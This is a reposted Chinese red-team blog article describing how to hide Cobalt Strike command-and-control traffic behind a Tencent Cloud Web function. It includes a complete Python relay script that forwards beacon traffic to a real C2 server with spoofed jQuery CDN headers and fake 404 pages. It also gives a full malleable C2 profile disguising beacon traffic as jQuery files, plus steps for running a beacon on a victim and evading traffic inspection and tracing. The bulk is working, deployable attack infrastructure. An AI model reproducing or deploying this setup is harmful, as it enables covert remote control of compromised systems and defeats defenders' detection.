告别常规API网关转发:云函数隐匿C2新思路

admin 2026-04-22 05:26:37 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 针对域前置失效与API网关下线现状,本文提出利用腾讯云Web函数直接触发URL隐匿C2流量的新思路。作者提供完整Python转发脚本与CobaltStrike的jQuery伪装Profile,实现流量特征清洗与请求伪造。该方法无需网关即可利用云厂商高信誉域名转发流量,为红队规避检测提供高可操作的实战方案。 综合评分: 82 文章分类: 红队,渗透测试,免杀,WEB安全


cover_image

告别常规API网关转发:云函数隐匿 C2 新思路

Zner sec

2026年4月21日 10:48 内蒙古

在小说阅读器读本章

去阅读

以下文章来源于心碎小鹤Sec ,作者心碎小鹤

心碎小鹤Sec .

分享攻防相关的技术

 二十几岁的矛盾,在于一边渴望探索自己无限的可能性,一边又急于确定此后人生唯一的确定性。”

网上有很多隐藏C2的教程和技术文章,主要就是CDN,域前置还有另一个云函数这三种方法。CDN和域前置目前面临一些问题就是云厂商(如 Cloudflare, Amazon)通过技术手段不再允许跨租户的 Host 转发,“域前置”逐渐失效,但也有一些大佬新的域前置思路也是非常牛逼的。在这个背景之下,云函数的优势就比较大,主要有以下几个优点

高信誉域名:使用云厂商提供的默认域名(如 azurewebsites.nettencentcs.com),天生具备白名单优势。

动态 IP:云函数的出口 IP 通常是动态的资源池,难以通过封锁单一 IP 进行阻断。

HTTPS 加密:默认提供可信的 SSL 证书,流量加密,规避流量审计。

低成本:按调用次数收费,几乎零成本维护。

但大多数师傅可能会有一个疑问,之前云函数通过API网关触发,也就是利用API gataway来封装流量,但很多云厂商都已经不在提供API网关产品,但今天我跟大家介绍的是另一种云函数方法,比通过API网关触发的优势更大,并且我目前没有在任何平台看到过相关文章(如果师傅们有相关链接资料,请私信我去学习一下),所以在一定程度我觉得应该是全网首发(这也得益于云厂商的技术迭代)。话不多说,直接开始!

01

下面以腾讯云为例

根据自己需求去选择对应的类型,一般选web函数

这里给一个我自己用的脚本

-*- coding: utf8 -*-import&nbsp;urllib.requestimport&nbsp;urllib.parseimport&nbsp;sslimport&nbsp;base64import&nbsp;traceback#真实C2地址(格式:https://IP:端口)REAL_C2_URL =&nbsp;'https://x.x.x.x:xxx'#伪装的合法Host(匹配Profile的Referer,固定为jQuery官方域名)FAKE_HOST =&nbsp;'code.jquery.com'#允许的请求路径(必须和Profile里的uri完全一致)ALLOWED_URIS = ['/jquery-3.3.1.slim.min.js','/jquery-3.3.2.slim.min.js','/jquery-3.3.1.min.js','/jquery-3.3.2.min.js']==============================================================================def&nbsp;main_handler(event, context):try:# 1. 解析URL函数的请求参数path = event.get('path',&nbsp;'/')method = event.get('httpMethod',&nbsp;'GET')headers = event.get('headers', {})&nbsp;or&nbsp;{} &nbsp;# 兼容空headersquery_params = event.get('queryString', {})&nbsp;or&nbsp;{}is_base64 = event.get('isBase64Encoded',&nbsp;False)req_body = event.get('body',&nbsp;'')# 2. 路径白名单校验:非jQuery路径返回伪装404,强化隐蔽性#if path not in ALLOWED_URIS:# &nbsp;return fake_jquery_404()# 3. 构造转发到真实C2的URLtarget_url =&nbsp;f"{REAL_C2_URL.rstrip('/')}{path}"if&nbsp;query_params:target_url +=&nbsp;"?"&nbsp;+ urllib.parse.urlencode(query_params)# 4. 处理请求体forward_body =&nbsp;Noneif&nbsp;req_body:if&nbsp;is_base64:forward_body = base64.b64decode(req_body)else:forward_body = req_body.encode('utf-8')# 5. 清洗+伪装请求头forward_headers = {}exclude_headers = ['x-scf-request-id',&nbsp;'x-forwarded-for',&nbsp;'via',&nbsp;'x-real-ip',&nbsp;'connection']for&nbsp;k, v&nbsp;in&nbsp;headers.items():k_lower = k.lower()if&nbsp;k_lower&nbsp;in&nbsp;exclude_headers:continue# 强制替换Host为伪装域名,其他头保留(如Cookie里的__cfduid)forward_headers[k] = FAKE_HOST&nbsp;if&nbsp;k_lower ==&nbsp;'host'&nbsp;else&nbsp;v# 补全Profile定义的伪装头forward_headers.setdefault('User-Agent',&nbsp;'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0')forward_headers.setdefault('Referer',&nbsp;'http://code.jquery.com/')forward_headers.setdefault('Accept',&nbsp;'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')forward_headers.setdefault('Accept-Language',&nbsp;'en-US,en;q=0.5')forward_headers.setdefault('Cache-Control',&nbsp;'max-age=0, no-cache')forward_headers.setdefault('Pragma',&nbsp;'no-cache')forward_headers.setdefault('Connection',&nbsp;'Keep-Alive')forward_headers.setdefault('Keep-Alive',&nbsp;'timeout=10, max=100')# 6. 配置SSL上下文(忽略C2自签名证书)ctx = ssl.create_default_context()ctx.check_hostname =&nbsp;Falsectx.verify_mode = ssl.CERT_NONE# 7. 构造转发请求(适配CS的长连接超时)req = urllib.request.Request(target_url,data=forward_body,headers=forward_headers,method=method)# 8. 转发请求到真实C2并获取响应with&nbsp;urllib.request.urlopen(req, context=ctx, timeout=30)&nbsp;as&nbsp;response:resp_content = response.read()resp_status = response.getcode()resp_headers =&nbsp;dict(response.info())# 9. 清洗响应头(剔除冲突头,伪装成CDN响应)safe_resp_headers = {}exclude_resp_headers = ['content-length',&nbsp;'connection',&nbsp;'transfer-encoding',&nbsp;'x-powered-by']for&nbsp;k, v&nbsp;in&nbsp;resp_headers.items():k_lower = k.lower()if&nbsp;k_lower&nbsp;in&nbsp;exclude_resp_headers:continue# 强制替换Server头为Profile定义的CDN标识safe_resp_headers[k] =&nbsp;'NetDNA-cache/2.2'&nbsp;if&nbsp;k_lower ==&nbsp;'server'&nbsp;else&nbsp;v# 补全伪装响应头safe_resp_headers.setdefault('Content-Type',&nbsp;'application/*; charset=utf-8')safe_resp_headers.setdefault('Cache-Control',&nbsp;'max-age=0, no-cache')safe_resp_headers.setdefault('Pragma',&nbsp;'no-cache')safe_resp_headers.setdefault('Keep-Alive',&nbsp;'timeout=10, max=100')safe_resp_headers.setdefault('Connection',&nbsp;'Keep-Alive')# 10. 返回Base64编码的响应return&nbsp;{"isBase64Encoded":&nbsp;True,"statusCode": resp_status,"headers": safe_resp_headers,"body": base64.b64encode(resp_content).decode('utf-8')}except&nbsp;Exception:# 异常时返回jQuery风格404,避免暴露C2return&nbsp;fake_jquery_404()伪装jQuery官网风格的404响应(强化隐蔽性)def&nbsp;fake_jquery_404():fake_html =&nbsp;"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>404 Not Found - jQuery CDN</title><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>body { font-family: Arial, sans-serif; margin: 50px; background: #f5f5f5; }.container { max-width: 700px; margin: 0 auto; padding: 20px; background: #fff; border-radius: 5px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }h1 { color: #dc3545; font-size: 28px; margin-bottom: 20px; }p { color: #6c757d; font-size: 16px; line-height: 1.5; }a { color: #0d6efd; text-decoration: none; }a:hover { text-decoration: underline; }.cdn-note { margin-top: 20px; padding: 10px; background: #f8f9fa; border-left: 3px solid #0d6efd; }</style></head><body><div class="container"><h1>404 - File Not Found</h1><p>The requested jQuery file could not be found on the CDN server.</p><p>Please check the file path or visit the <a href="http://code.jquery.com/">official jQuery CDN</a> for valid file names.</p><div class="cdn-note"><strong>Valid Examples:</strong><br>/jquery-3.7.1.min.js | /jquery-3.6.0.slim.min.js</div></div></body></html>"""return&nbsp;{"isBase64Encoded":&nbsp;False,"statusCode":&nbsp;404,"headers": {"Content-Type":&nbsp;"text/html; charset=utf-8","Server":&nbsp;"NetDNA-cache/2.2","Cache-Control":&nbsp;"max-age=0, no-cache","Connection":&nbsp;"Keep-Alive"},"body": fake_html}

进入创建好的函数

在这里修改代码,完成后到下面点击部署确认部署成功

然后来到函数url这里就可以获取到公网和内网域名,这就是后面在CS监听host头

然后创建一个profile文件写入配置,这里用一个伪装jQuery流量的profile文件

set&nbsp;sample_name&nbsp;"CobaltStrike jQuery CDN Profile";# 基础通信配置set&nbsp;sleeptime&nbsp;"20000"; &nbsp; &nbsp;# 基础休眠20秒set&nbsp;jitter&nbsp;"37"; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 抖动37%set&nbsp;useragent&nbsp;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0";#&nbsp;HTTP&nbsp;Stager&nbsp;配置http-stager {&nbsp; &nbsp;&nbsp;set&nbsp;uri_x86&nbsp;"/jquery-3.3.1.slim.min.js";&nbsp; &nbsp;&nbsp;set&nbsp;uri_x64&nbsp;"/jquery-3.3.2.slim.min.js";&nbsp; &nbsp; server {&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Server"&nbsp;"NetDNA-cache/2.2";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Cache-Control"&nbsp;"max-age=0, no-cache";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Pragma"&nbsp;"no-cache";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Connection"&nbsp;"keep-alive";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Content-Type"&nbsp;"application/javascript; charset=utf-8";&nbsp; &nbsp; &nbsp; &nbsp; # jQuery 伪装头部&nbsp; &nbsp; &nbsp; &nbsp; prepend&nbsp;"/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";&nbsp; &nbsp; &nbsp; &nbsp; prepend&nbsp;"!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\"&nbsp;\"),function(e,t){l[\"[object&nbsp;\"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";&nbsp; &nbsp; &nbsp; &nbsp; # 流量尾部伪装&nbsp; &nbsp; &nbsp; &nbsp; append&nbsp;"\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\"&nbsp;\"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"\"):this.off(t,e||\"\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.isReady=!1:w.ready()};function R(e){return\"function\"==typeof e}w.readyPromise=w.Deferred(),w.ready=function(){w.isReady||(w.isReady=!0,arguments.length&&w().ready(),w.readyPromise.resolve())},w.ready.then=w.readyPromise.done;var F=e.jQuery,G=e.$;w.noConflict=function(t){return e.$===w&&(e.$=G),t&&e.jQuery===w&&(e.jQuery=F),w},e.jQuery=e.$=w,w.ready()});";&nbsp; &nbsp; }}#&nbsp;HTTP&nbsp;GET&nbsp;通信配置http-get&nbsp;{&nbsp; &nbsp;&nbsp;set&nbsp;uri&nbsp;"/jquery-3.3.1.min.js";&nbsp; &nbsp; client {&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Accept"&nbsp;"text/javascript, application/javascript, */*";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Referer"&nbsp;"https://code.jquery.com/";&nbsp; &nbsp; }&nbsp; &nbsp; server {&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Content-Type"&nbsp;"application/javascript; charset=utf-8";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Server"&nbsp;"NetDNA-cache/2.2";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Cache-Control"&nbsp;"public, max-age=31536000";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Connection"&nbsp;"keep-alive";&nbsp; &nbsp; &nbsp; &nbsp; prepend&nbsp;"/*! jQuery v3.3.1 | (c) JS Foundation | jquery.org/license */";&nbsp; &nbsp; &nbsp; &nbsp; append&nbsp;";";&nbsp; &nbsp; }}#&nbsp;HTTP&nbsp;POST&nbsp;通信配置http-post {&nbsp; &nbsp;&nbsp;set&nbsp;uri&nbsp;"/jquery-3.3.1.min.js";&nbsp; &nbsp; client {&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Accept"&nbsp;"text/javascript, application/javascript, */*";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Referer"&nbsp;"https://code.jquery.com/";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Content-Type"&nbsp;"application/x-www-form-urlencoded";&nbsp; &nbsp; }&nbsp; &nbsp; server {&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Content-Type"&nbsp;"application/javascript; charset=utf-8";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Server"&nbsp;"NetDNA-cache/2.2";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Cache-Control"&nbsp;"public, max-age=31536000";&nbsp; &nbsp; &nbsp; &nbsp; header&nbsp;"Connection"&nbsp;"keep-alive";&nbsp; &nbsp; &nbsp; &nbsp; prepend&nbsp;"/*! jQuery v3.3.1 | (c) JS Foundation | jquery.org/license */";&nbsp; &nbsp; &nbsp; &nbsp; append&nbsp;";";&nbsp; &nbsp; }}

和CS的teamserver保存在一个路径下启动CS

设置监听

生成beacon上传运行上线

去受害机进程可以看到

Wireshark抓包看只有和tencent通信的域名流量

beacon回连的ip也是腾讯云cdn,并且还在不断变化

域名也是对外无法访问

通过curl指令可以检查CS与云函数是否连通,并且解析ip均为腾讯云CDN

其中的流量转发脚本C2 Profile 文件以及流量加密方式(我这里简单只用了一个base64),师傅们都可以根据实际目标环境自行修改重写。比如目标业务使用 Vue、React 等前端框架,就把 Profile 里的路径、请求头、伪装内容替换成对应框架的真实合法 CDN 链接,让流量完全贴合目标业务特征,隐蔽性会更强。

另外,使用云函数做流量转发的溯源难度非常高,正常攻防场景下,云厂商一般不会配合溯源,安全性和隐蔽性都已经很好了。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zner sec 《告别常规API网关转发:云函数隐匿 C2 新思路》

评论:0   参与:  0